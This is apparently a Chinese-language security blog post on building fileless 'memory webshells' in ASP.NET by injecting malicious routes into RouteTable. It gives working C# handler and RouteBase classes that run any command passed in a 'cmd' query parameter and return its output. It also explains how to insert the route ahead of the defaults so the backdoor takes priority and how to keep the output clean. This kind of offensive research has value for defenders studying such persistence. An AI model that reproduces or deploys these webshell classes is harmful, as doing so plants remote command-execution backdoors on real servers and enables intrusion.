浅谈 DotNet 内存马 Route
0x01 前言
最近准备花时间学习研究下Net内存马相关的知识,从易到难,从简入深,主要参考的是yzddMr6师傅的系列文章,表示感谢
0x02 自定义路由
前文说到,全局入口文件global.asax
处主要包含了三个部分:
对于许多简单的
ASP.NET MVC
应用程序,默认路由表可以正常工作。 但是,你可能会发现你具有专用路由需求。 在这种情况下,可以创建自定义路由。
Imagine,例如,你要生成博客应用程序。 可能需要处理如下所示的传入请求:
/Archive/12-25-2009
用户输入此请求时,需要返回与2009年12月25日相对应的博客文章。若要处理此类请求,需要创建自定义路由。
这里我们自定义路由用来处理类似/Archive/entry date
的请求。
添加到路由表的路由顺序非常重要。 新的自定义博客路由已添加到现有默认路由之前。 如果反转了顺序,则始终会调用默认路由,而不是自定义路由。
自定义博客路由匹配以/Archive/
开头的任何请求。 因此,它匹配以下所有 URL:
/Archive/12-25-2009
/Archive/10-6-2004
/Archive/apple
自定义路由将传入请求映射到名为Archive的控制器,并调用Entry () 操作。 调用 Entry () 方法时,输入日期作为名为entryDate的参数传递,因此当我们如果能够动态打进去一个路由,然后映射到我们自定义的类,即可实现内存马的效果
这里我们当然可以在控制器的方法内实现恶意操作,这样当访问指定的路由时便能够实现内存马的功能,其实内存马也就是把恶意的代码注入到了一个每次Web请求都会触发的地方,但是同样的道理,由于MapRoute依赖于system.web.mvc.dll
,那么这样便只能针对DotNet MVC
有效,那有没有更加通用的方式?
0x03 Route分析
结果当然是有的,我们来看一下MapRoute实现的方法:
这里我们看到,实际上MapRoute方法会先创建Route类并且判断是否合法后通过routes.Add方法添加到路由表中,而Route依赖于system.web.routing.route
,这也就意味着不只是支持MVC,因为在webform中也是会使用该依赖来定义路由的,这里其实存在两个攻击面:
- 1.可以实例化System.Web.Routing.Route实例,重写IrouteHandler接口
- 2.自己实现Route,继承自RouteBase抽象类,在抽象方法中实现恶意代码
0x04 内存马实现
1.重新实现IRouteHandler接口
我们来看一下该接口的定义,发现需要实现GetHttpHandler
方法:
而这个方法返回的是
IHttpHandler
实例,因此这里又存在两种方式,在GetHttpHandler
实现恶意操作,以及注入IHttpHandler
类
注入GetHttpHandler
这里的注入只需要在GetHttpHandler
中实现我们的内存马即可:
这里在我们的Archive控制器的Entry方法中实现,这样当我们访问这个路由时会进行注入,可以看到当我们没有访问路由时:
并不会执行命令,而当我们访问路由
/Archive/xxx
后:页面空白,此时已经注入写好的内存马,现在我们访问
/crisprxx
路由后:但是这里需要注意一个细节,也是笔者在实现过程中遇到的比较坑的地方,像这样我们的自定义路由是排在靠后位置的:
这样当我们成功注册这个路由之后,我们访问对应的路径时,会优先匹配靠前的路由,也就是Default路由
由于找不到名称为crisprxxx的控制器,所以程序会提示如图3所示的错误、而不会进入自定义注册的路由规则:
使得内存马失效,因此如果想避免这种情况的发生,可以选择删除默认路由或者缩小匹配范围,当然这里还有更好的一种方法:
由于RouteTable.Routes本质上是Collection,而Add方法是按顺序添加,并没有
order
参数,但我们可以调用Insert方法,该方法支持设置自定义的路由的顺序:因此我们可以通过这样实现:
现在我们再来看一下路由顺序:
这样就不用担心路径会被之前的路由所匹配而没有进入我们自定义的路由之中了,因为我们的路由规则已经是全局路由表中优先级最高的
如何回显
细心的师傅们可能注意到之前内存马的返回是会出现报错信息的:
这是因为我们并没有返回实现IHttpHandler接口的实例而是以
null
返回,因此如果想要回显的话,可以通过实现一个IHttpHandler接口的空实例,注意实现接口的抽象方法即可:
public class evilhandler: IHttpHandler
{
bool IHttpHandler.IsReusable => throw new NotImplementedException();
void IHttpHandler.ProcessRequest(HttpContext context)
{
}
}
现在我们重新访问路径注册路由后来调用内存马进行命令的执行:
注入IHttpHandler
承接上文,既然我们需要返回实现IHttpHandler接口
的实例,那自然可以从抽象方法中寻找注入点,这里可以选择IHttpHandler.ProcessRequest
来注入:
public class evilhandler: IHttpHandler
{
bool IHttpHandler.IsReusable => throw new NotImplementedException();
void IHttpHandler.ProcessRequest(HttpContext http)
{
string payload = http.Request.QueryString["cmd"];
if (payload != null)
{
Process p = new Process();
p.StartInfo.FileName = payload;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
p.Start();
byte[] data = Encoding.UTF8.GetBytes(p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd());
http.Response.Write(Encoding.Default.GetString(data));
}
}
}
public class EvilRoute : IRouteHandler
{
public IHttpHandler GetHttpHandler(RequestContext requestContext)
{
return new evilhandler();
}
}
这样注入的效果和实现IrouteHandler
接口是一样,接下来我们来看第二种方式,也就是自己实现Route,继承自RouteBase抽象类,在抽象方法中实现恶意代码
2.继承RouteBase实现注入
RouteBase利用类,您可以创建自定义类,以便在应用程序中定义路由。通常,在 Route定义路由时,将使用类。Route类是从RouteBase类派生的。 但是,如果要提供与类提供的功能不同的功能Route,请创建一个派生自的类, RouteBase 并实现所需的属性和方法。
看一下该抽象类需要实现的方法有:
因此注入也是通过这两种方法进行,
-
1.GetRouteData方法
-
2.GetVirtualPath方法
从GetRouteData中注入
public class EvilRoute2 : RouteBase
{
public override RouteData GetRouteData(HttpContextBase http)
{
string payload = http.Request.QueryString["cmd"];
if (payload != null)
{
Process p = new Process();
p.StartInfo.FileName = payload;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
p.Start();
byte[] data = Encoding.UTF8.GetBytes(p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd());
http.Response.Write(Encoding.Default.GetString(data));
}
return null;
}
public override VirtualPathData GetVirtualPath(RequestContext requestContext, RouteValueDictionary values)
{
return null;
}
}
}
然后在全局路由表中加入,在这里如果没有默认路由的话也可以不用定义顺序,不过为了高优先级,插入全局路由表的第一个路由总归还是不错的
最后效果就是访问已有路由都会优先匹配第一个
RouteBase
也就是我们自定义的,从而进入实现GetRouteData
方法,进而完成内存马的注入这里为了比较两个方法的优先级,我分别在两个方法中进行打印,发现GetRouteData
优先级高于GetVirtualPath
:
从GetVirtualPath中注入
同样我们只需要将之前在GetRouteData
的代码载入到GetVirtualPath
方法即可:
注意这里由于传入参数只有
RequestContext
,因此我们需要通过System.Web.HttpContext.Current
获取当前Http上下文,主要是拿到ResponseContext以便进行回显
效果如下:
这里会回显4次,要想解决这个问题,实际上只需要调用Response.End方法:
写完结果后终止后面的加载,这样的话就能保证结果都是命令的输出,不会掺杂其他的数据返回,而不加cmd参数时是正常的